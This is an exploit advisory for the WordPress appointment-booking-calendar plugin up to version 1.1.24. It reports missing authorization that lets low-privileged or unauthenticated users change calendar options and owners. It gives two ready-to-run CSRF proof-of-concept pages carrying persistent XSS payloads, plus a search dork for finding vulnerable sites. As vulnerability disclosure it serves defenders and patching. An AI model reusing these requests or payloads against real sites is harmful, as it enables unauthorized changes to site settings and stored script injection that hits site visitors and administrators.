103 lines
No EOL
3.3 KiB
Text
103 lines
No EOL
3.3 KiB
Text
# Exploit Title: WordPress appointment-booking-calendar <=1.1.24 - Privilege escalation (Managing calendars) & Persistent XSS
|
||
# Date: 2016-01-28
|
||
# Google Dork: Index of /wordpress/wp-content/plugins/appointment-booking-calendar/
|
||
# Exploit Author: Joaquin Ramirez Martinez [ i0 security-lab]
|
||
# Software Link: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form
|
||
# Vendor: CodePeople.net
|
||
# Vebdor URI: http://codepeople.net
|
||
# Version: 1.1.24
|
||
# Tested on: windows 10 + firefox + sqlmap 1.0.
|
||
|
||
===================
|
||
PRODUCT DESCRIPTION
|
||
===================
|
||
"Appointment Booking Calendar is a plugin for **accepting online bookings** from a set of **available time-slots in
|
||
a calendar**. The booking form is linked to a **PayPal** payment process.
|
||
|
||
You can use it to accept bookings for medical consultation, classrooms, events, transportation and other activities
|
||
where a specific time from a defined set must be selected, allowing you to define the maximum number of bookings
|
||
that can be accepted for each time-slot."
|
||
|
||
(copy of readme file)
|
||
|
||
|
||
======================
|
||
EXPLOITATION TECHNIQUE
|
||
======================
|
||
remote
|
||
|
||
==============
|
||
SEVERITY LEVEL
|
||
==============
|
||
|
||
medium
|
||
|
||
================================
|
||
TECHNICAL DETAILS && DESCRIPTION
|
||
================================
|
||
|
||
Multiple privilege escalation were found in appointment-booking-calendar plugin that allows remote low level
|
||
and unauthenticated users to update calendar owners and options (allowing persistent XSS).
|
||
|
||
================
|
||
PROOF OF CONCEPT
|
||
================
|
||
|
||
Changing all appointment tables with UTF-8 charset, injecting persistent XSS into ´ict´ and ´ics´ options and setting
|
||
´CPABC_APPOINTMENTS_LOAD_SCRIPTS´ option to value ´1´.
|
||
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
|
||
<body>
|
||
<script>
|
||
function submitRequest()
|
||
{
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&ac=st&chs=UTF-8&ict=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ics=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&scr=1", true);
|
||
xhr.send();
|
||
}
|
||
</script>
|
||
<form action="#">
|
||
<input type="button" value="Submit request" onclick="submitRequest();" />
|
||
</form>
|
||
</body>
|
||
</html>
|
||
|
||
|
||
Updating calendar with id 1 and setting name with persistent XSS (if the shortcode [CPABC_APPOINTMENT_CALENDAR calendar="1"]
|
||
is added in a post, the injected XSS will appear, in administration page appear too).
|
||
|
||
<html>
|
||
<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
|
||
<body>
|
||
<script>
|
||
function submitRequest()
|
||
{
|
||
var xhr = new XMLHttpRequest();
|
||
xhr.open("GET", "http://localhost:80/wordpress/wp-admin/admin.php?page=cpabc_appointments&u=1&owner=5&name=%3C%2Foption%3E%3C%2Fselect%3E%3Cimg+src%3Dx+onerror%3Dalert%28%2Fjoaquin%2F%29%3E%3C", true);
|
||
xhr.send();
|
||
}
|
||
</script>
|
||
<form action="#">
|
||
<input type="button" value="Submit request" onclick="submitRequest();" />
|
||
</form>
|
||
</body>
|
||
</html>
|
||
|
||
==========
|
||
CREDITS
|
||
==========
|
||
|
||
Vulnerability discovered by:
|
||
Joaquin Ramirez Martinez [i0 security-lab]
|
||
joaquin.ramirez.mtz.lab[at]yandex[dot]com
|
||
https://www.facebook.com/I0-security-lab-524954460988147/
|
||
https://www.youtube.com/user/strparser_lk
|
||
|
||
|
||
========
|
||
TIMELINE
|
||
========
|
||
|
||
2016-01-08 vulnerability discovered
|
||
2016-01-24 reported to vendor |